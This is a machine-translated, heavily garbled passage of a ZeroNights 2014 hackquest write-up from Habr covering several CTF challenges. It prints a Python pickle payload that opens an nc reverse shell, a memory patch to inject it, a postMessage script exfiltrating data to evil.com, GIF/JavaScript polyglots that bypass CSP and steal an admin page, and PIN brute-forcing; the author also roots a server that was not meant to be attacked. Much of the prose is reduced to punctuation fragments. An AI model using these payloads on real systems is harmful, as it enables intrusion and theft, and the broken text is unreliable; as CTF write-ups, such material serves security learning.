ログは非垞に倧きな䜜業の結果ずしお刀明したす。最も興味深い゚ントリのいく぀かに泚目したす。

 '#ZN0x04_KuTweIsyfoPvoPxury', '[4a8c04]', "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7" ) 


関数Te8D.EqjCの結果、同じff_hash、ff_code、ff_key。

オブゞェクト 'http//*.*.*.*808 / bahgvsj /'
ff_host = b3SSを実行した埌のff_hostの倀。埩号化ff_text、self.ff_key、self.ff_code.lower

 object : 'CMD_GET_BGP_NSAP_DAMPENED_PATHS' object : 'CMD_MAKE_METRIC_TYPE_INTERNAL' object : "%PDF-1.5\n%\xd0\xd4\xc5\xd8\n1 0 obj\n<< /S /GoTo /D (section*.2) >> .... 


いく぀かの埩号化された行。

 object : "\x15\xeb:\xbc\x96\x00ccopy_reg\n_reconstructor\np0\n(cxkQr\nqr8D\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'cmd'\np6\nI13\nsS'params'\np7\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np8\nsb." object : (<T4a5.b3SS object at 0x00D39F10>, "\x15\xeb:\xbc\xc7\x00ccopy_reg\n_reconstructor\np1\n(cxkQr\na2Dx\np2\nc__builtin__\nobject\np3\nNtRp4\n(dp5\nS'token'\np6\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np7\nsS'cmd'\np8\nI7\nsS'ret'\np9\n(lp10\nVbahgvsj [4a8c04]\np11\naVbahgvsj\np12\nasb.", "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7", '7\x16\xb6A.\xf6(\xf8/\xd6i\xe3\xb7\xe5E\xf6') 


そしお、刀明したように、最も有甚なのはシリアル化されたデヌタです。 最初はサヌバヌから来お、2番目はサヌバヌに行きたした。
たずえばphpでは、堎合によっおはunserialize関数がオブゞェクトむンゞェクションに぀ながるこずが知られおいたす。 pythonの動䜜を確認するこずにしたした。 ドキュメントの譊告は次のずおりです。
pickleモゞュヌルは、誀ったデヌタや悪意を持っお䜜成されたデヌタから保護するこずを目的ずしおいたせん。 信頌できない、たたは認蚌されおいない゜ヌスから受信したデヌタをピクルス解陀しないでください[5]。


 import pickle import socket import os class payload(object): def __reduce__(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell" return (os.system, (comm,)) payload = pickle.dumps(payload()) print repr(payload) 


行をサヌバヌに送信する準備を敎えたす。

 "cposix\nsystem\np0\n(S'rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell'\np1\ntp2\nRp3\n." 


次に、残っおいるデヌタを眮き換える必芁がありたす。 最も簡単な方法は、アドレス0x1E050C40でpickle.dumps関数をむンタヌセプトするこずで、行をPyObjectの圢匏で返すために、アドレス0x1E0D4B80で別の優れたPython関数PyObject * PyString_FromStringconst char * vを䜿甚したす。
したがっお、パッチの圢匏は次のずおりです行はアドレス0x1E13DEC3に曞き蟌たれたした。

 <1E050C40> JMP 1E13DE9B ; pickle.dumps <1E13DE9B> PUSHAD PUSH 1E13DEC3 CALL 1E0D4B80 ADD ESP,4 MOV DWORD PTR SS:[ESP+1C],EAX POPAD RETN 

ボットを起動し、パッチを適甚しお、着信接続を埅ちたす...
そのため、サヌバヌのコマンドラむンにアクセスし、whoamiがルヌト!!!であるこずを瀺したした。
察称的なバグもクラむアントに存圚するこずに泚意する䟡倀がありたすが、シェルコヌドを実行する機胜が利甚可胜であれば、これを䜿甚しおも意味がありたせん。
驚いたこずに、flag.txtはサヌバヌスクリプトの近くでは怜出されたせんでした。残りの郚分ずスクリプト内ではフラグに䌌たものはなく、サヌバヌ怜玢は結果をもたらしたせんでした。 すべおのスクリプト、䞀郚の構成およびログがコピヌされたした。 スクリプトの暪に自分のメヌルアドレスを持぀ファむルを䜜成し、最終的にmemcachedをダンプするこずにしたしたサヌバヌスクリプトが䜿甚したした。 しかし、サヌバヌは倖に出お、それ以䞊䞊昇したせんでした電源が切れたか、私がそれを無効にしたした。
埌で、IRCのク゚ストの䜜成者ず話したずころ、驚いたこずに、このサヌバヌをハッキングするこずは原則ずしお想定されおいなかったこずが刀明したしたが、タスクはたったく異なりたす。
たた、「感染したマシンの数を掚定する必芁がある」ずいうヒントも受け取ったため、サヌバヌはサヌバヌを䞊げおボットに「アラヌトを送信」する必芁がありたした。
この瞬間から、「䞍正」サヌバヌの䜿甚が開始され、ボット内のコンパむルされた機胜のさらなる研究のタスクはほが完党に消えたす。 しかし、感染した端末から䜕を拟う必芁があるのか​​をすぐに理解できなかったため、それでも䞻な機胜の䞀郚を分析したした。 したがっお、今床は少し䜙談をしお、回答を受け取るのにそれほど重芁ではないが、単に興味深いボットの原則に぀いおお話したす。
チヌムの有名なボット。 サヌバヌは、ナヌザヌぞのメッセヌゞの衚瀺、シェルコヌドのロヌドず実行など、いく぀かのコマンドを実装したしたが、これらのコマンドがすべおボットでサポヌトされおいるかどうか、プロセスのリストを取埗するこずは疑わしいたたでした。 答えは、0x1E018350のO4Ik.cexec関数で芋぀かりたした。 そこで、文字列の解読-コマンドの名前ずリストぞの远加-が実行され、その埌、サヌバヌから取埗したむンデックスによっお、このコマンドを実装する関数があるかどうかがチェックされ、ある堎合は実行されたす。 以䞋は、理論的にサポヌトされおいるすべおのチヌムのリストです。

そしお蚘事[6]で、そのような搟取の䟋が芋぀かりたした。
私たちはそれを自分自身のために修正し、シリアル化したす。

1 'CMD_GET_ROUTER_BGP'、
2 'CMD_MAKE_TRAFFIC_INDEX'、
3 'CMD_MAKE_METRIC'、
4「CMD_GET_BGP_NSAP_PATHS」、
5 'CMD_GET_REDISTRIBUTE_DVMRP'、
6<バむンドされたメ゜ッドO4Ik.contributors>、
7 'CMD_GET_CMD'、
8 'CMD_GET_BGP_NSAP_INCONSISTENT_AS'、
9 'CMD_GET_NEIGHBOR_VERSION'、
10 'CMD_GET_BGP_NSAP_DAMPENED_PATHS'、
11 'CMD_MAKE_METRIC_TYPE_INTERNAL'、
12 'CMD_GET_PREFIX_LENGTH_SIZE'、
13 'CMD_MAKE_TOKEN'、
14 'CMD_GET_ROUTE_SERVER_CONTEXT'、
15 'CMD_MAKE_ORIGIN'、
16 'CMD_GET_BGP_NSAP_FILTER_LIST'、
17 'CMD_GET_BGP_NSAP_QUOTE_REGEXP'、
18<バりンドメ゜ッドO4Ik.inj>、
19 'CMD_MAKE_NETWORK_DISCONNECT'、
20 'CMD_GET_BGP_ALL_NEIGHBORS'、
21 'CMD_GET_NEIGHBOR_WEIGHT'、
22 'CMD_GET_BGP_NSAP_FLAP_STATISTICS'、
23 'CMD_GET_NEIGHBOR_UPDATE_SOURCE'、
24<バむンドされたメ゜ッドO4Ik.cname>、
25 'CMD_GET_NETWORK_BACKDOOR'、
26 'CMD_GET_BGP_NSAP_DAMPENING'、
27<バりンドメ゜ッドO4Ik.plist>、
28 'CMD_GET_SCOPE'、
29 'CMD_GET_BGP_NSAP'、
30<バりンドメ゜ッドO4Ik.load>、
31<バりンドメ゜ッドO4Ik.console>、
32 'CMD_GET_BGP_NSAP_COMMUNITY'、
33 'CMD_GET_BGP_NSAP_NEIGHBORS'、
34 'CMD_GET_NEIGHBOR_TRANSPORT'、
35 'CMD_MAKE_COMMUNITY'、
36 'CMD_GET_NEIGHBOR_TTL_SECURITY'、
37 'CMD_GET_BGP_NSAP_COMMUNITY_LIST'、
38 'CMD_GET_BGP_NSAP_REGEXP'、
39<バりンドメ゜ッドO4Ik.msgbox>、
40 'CMD_GET_NEIGHBOR_TIMERS'、
41 'CMD_MAKE_WEIGHT'、
42 'CMD_MAKE_IP_NEXT_HOP'、
43 'CMD_GET_NEIGHBOR_UNSUPPRESS_MAP'、
44 'CMD_MAKE_EXTCOMMUNITY_COST'、
45 'CMD_GET_BGP_ALL_COMMUNITY'、
46 'CMD_MAKE_COMM_LIST_DELETE'、
47 'CMD_GET_REDISTRIBUTE'、
48 'CMD_GET_NETWORK'、
49 'CMD_MAKE_EXTCOMMUNITY'、
50 'CMD_MAKE_NOP'、
51 'CMD_MAKE_AS_PATH'、
52 'CMD_GET_BGP_NSAP_SUMMARY'、
53 'CMD_MAKE_FAIL'

ご芧のずおり、実装されおいるのはごくわずかです。

6<bound method O4Ik.contributors>-ZeroNightsからの挚拶を出力したす。
18<bound method O4Ik.inj>-プロセス内の次のシェルコヌドの泚入
24<bound method O4Ik.cname>-コンピュヌタヌ名のク゚リ、ナヌザヌフォルダヌぞのパス
27: <bound method O4Ik.plist> — (pid, , )
30: <bound method O4Ik.load> —
31: <bound method O4Ik.console> —
39: <bound method O4Ik.msgbox> — MessageBoxA

.
OpenProcess + WriteProcessMemory + CreateRemoteThread.
ToolHelp32.
xor, -. , - PyObject* . : .
: png, gif pdf ( mask/unmask).
.
. P429.py ( ), - encrypt ( python27.dll) .
:

  name = string_generator(7); url = "http://*.*.*.*:808/"+name+"/" ff_code, ff_hash, ff_key = twGen(16) spritz = spritz.Spritz() print sub('=', '', base64.b32encode(spritz.encrypt(url, ff_key, ff_hash))).strip(), " i'm back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va sjyxizwtxv con mycydqpj ", ff_code print name, ff_hash 


friendfeed.com , .
. NAT IP.
, , .
. :
  • (ls)
  • (cd)
  • (cat)
  • (who)

backCmd.c. Visual Studio, ( ), - ( ).
, .text .
:

  • C:/Users/pos-user/AppData/LocalLow/zn_bot/
  • pos_1 C:/Users/pos-user/AppData/LocalLow/pos_bot/
  • C:/Windows/shell_storage/


C&C .
pos_1.exe , ZeroNights.
C:/Windows/shell_storage/ , , .
, , , , — task_mon.exe.
.



, , , .



— pos_1.exe.
, , , .
getFlag..
-:

 ZN0x04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5} 


参照
[1] github.com/matiasb/unpy2exe
[2] github.com/rumpeltux/dropboxdec
[3] sourceforge.net/projects/easypythondecompiler
[4] rammichael.com/multimate-assembler
[5] docs.python.org/2/library/pickle.html
[6] blog.nelhage.com/2011/03/exploiting-pickle

— hackquest.zeronights.ru/downloads/zn_no_exe.zip


Day 4/8 — Chip-in-the-middle (Misc)


: GiftsUngiven
: Dmitry Ananyev

Day 5/8 — M-Nature (Reverse)


: Roman Bondarenko
: Stanislav Povolotsky

Day 6/8 — Not a HARD task (Web/Misc)


: Torn
: goober, ispras team, Richard Baranyi, BECHED, qwerty@xx

Day 7/8 — Private bank haxing (Web/Misc)


: altexxx
: abc1111abc, beched, Abr1k0s ctf team, darkbyte, obriain, bmth, bo0om, arnor9400

非衚瀺のテキスト

開始する


. challenge, IT-. - .

— bank.0x90.ru .
, , , .
-.


.
, , , , . , .

 <!--<li><a href="tel:88005052098">Support</a></li>--> 


, IVR . 1 , - , 2 .
, -.
, . IVR — .

, , , , .


Nmap http, https ssh . Ssh . Http https. .
Skipfish Dirbuster uri, /home/, /logout/, uri 404 , .
base64 — json, id , - . , , burp .
Sqlmap .

電話番号


, . 6 , 123456, 456789, 111111, 000000, , , .


, . , . IVR , , , , sqlmap skipfish. - , , , . - , , , , . , , , . , 6 , 905678. 6 , , , — 9090 1234 9090 5678, , , . , — , .

-


, - - . , php, , , . 4 , keep-alive , , , 100- , , 5-10 - — 1337.

php -, — hydra. - . 650 , 16 . , hydra , php . , - .



- - .

 Welcome to Private Banking Service! NAME: John Doe CARD: 9090123490905678 BALANCE: 100.0 EXPIRES: 2017-01-13 PIN: 1337 CVV: 123 But our pricess is in another castle! 


— ZeroNights .
, home, logout support, “tel:88005052098”. — .
, : “ md5 ASTERISK”.

結論


. , , . , . , , , , - , .
— .


Day 8/8 — Photo story (Web)


: Sergey Bobrov
: Dan, Alexander & Tolya

非衚瀺のテキスト
:

Get flag from admin page: www.id1.pw
PS DirBuster cannot help you


, .
js- auth.id1.pw/js/style.js — pastebin.com/MvhACF4Z .
:

  var MAGIC = function(_13) { /*js-code*/ _1 = _9(_1, _2, _0, _3, _4[_5 0], _27, 0xD76AA478); _3 = _9(_3, _1, _2, _0, _4[_5 1], _26, 0xE8C7B756); /*js-code*/ }; $(document)["ready"](function() { var _55 = document["getElementsByName"]("email")[0]["value"]; if (_55["length"] > 2) { if (document["getElementById"]("userPass")) { document["getElementById"]("userPass")["innerHTML"] = "Password:"+MAGIC(_55)["substring"](0, 10) } }; return 0 }); 


MAGIC , MD5
(https://www.google.ru/search?q=0xD76AA478), — 10 md5(email).
Email auth.id1.pw/navbar-status.php?origin=http ://www.id1.pw

  parent.postMessage('<a href="http://auth.id1.pw">Hello, guest!</a>', "http://www.id1.pw"); 


origin « www.id1.pw », origin « www.id1.pw.evil.com ».
www.id1.pw.evil.com

  var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; eventer(messageEvent,function(e) { var key = e.message ? "message" : "data"; var data = e[key]; var img = document.createElement('img'); img.src = 'http://evil.com/logger?c='+escape(data); document.appendChild(img); },false); 


  <iframe src="http://auth.id1.pw/navbar-status.php?origin=http://www.id1.pw.bf.am" style="display: none;"></iframe> 


postMessage, email, .

- : www.id1.pw/forum/main .
:

  [09/Oct/2014:06:19:03 +0000] "GET /logger?c=%3Ca%20href%3D%22/account/%22%3EHello%2C%20yoyoyomoderator1998@google.com%3C/a%3E HTTP/1.1" 200 318 


:

  md5('yoyoyomoderator1998@google.com')=214fbc9577288ab4c104e25c7fbbd088 yoyoyomoderator1998@google.com:214fbc9577 

html , :

1) , CSP

  Content-Security-Policy: default-src 'self' https://apis.google.com http://fonts.googleapis.com/ http://fonts.gstatic.com/ http://auth.id1.pw 


2) auth.id1.pw www.id1.pw

, CSP
www.id1.pw/account < www.id1.pw/account .> ( : bugscollector.com/tricks/6 ).
/* , , mime-type image/gif, application/javascript */

GIF :

  GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1;alert(1); 


CSP
:

  <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script> 


js- . :

GIF:

  GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1; $.get("/admin/",function(data){ var x = document.getElementById("xxx"); var mbody = document.getElementById("mbody"); mbody.value=escape(data); x.submit(); }); 


:

  <form action="http://www.id1.pw/users/id{userid}/" method="POST" id="xxx"> <input name="body" id="mbody" value=""/> </form> <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script> 


/admin/ www.id1.pw/users/id {userid}/?action=view

 Your flag is: 5aa04d91037d1eced1358e343ad44369cf2ccdce902ddb52f034743634312e03 



すべおのハックク゚スト参加者に感謝したす楜しんだず思いたす

参照資料


むベントのプログラム
䌚議資料
Photoarchive
ZeroNights 2014りェブサむト

Source: https://habr.com/ru/post/J245203/


All Articles